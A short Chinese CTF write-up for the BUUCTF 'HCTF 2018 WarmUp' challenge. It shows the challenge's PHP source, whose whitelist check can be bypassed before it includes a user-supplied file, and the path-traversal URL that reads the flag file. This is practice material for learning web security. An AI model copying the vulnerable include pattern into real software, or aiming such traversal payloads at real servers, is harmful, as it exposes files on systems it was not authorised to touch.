BUUCTF [HCTF 2018]WarmUp 1
f12发现提示source.php
打开后发现php代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
按照提示进入hint.php
得到:flag not here, and flag in ffffllllaaaagggg
陷入沉思…
观察上面的函数
mb_strpos($page . '?', '?')
//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
过滤了file=后问号后的语句
但在下面的执行函数中没有被过滤
进行传递参数
尝试get类型参数
当尝试file=hint.php?ffffllllaaaagggg
时
没有响应
尝试在他的母目录中寻找
在多级母目录后
http://05f6e33c-c301-45d8-9cb5-9728cfedf303.node3.buuoj.cn/source.php?file=source.php?../../../../../ffffllllaaaagggg
得到了flag
呜呜呜
太难得了
感谢王伟男学长的指导
“有手就行”
————王伟男
QAQ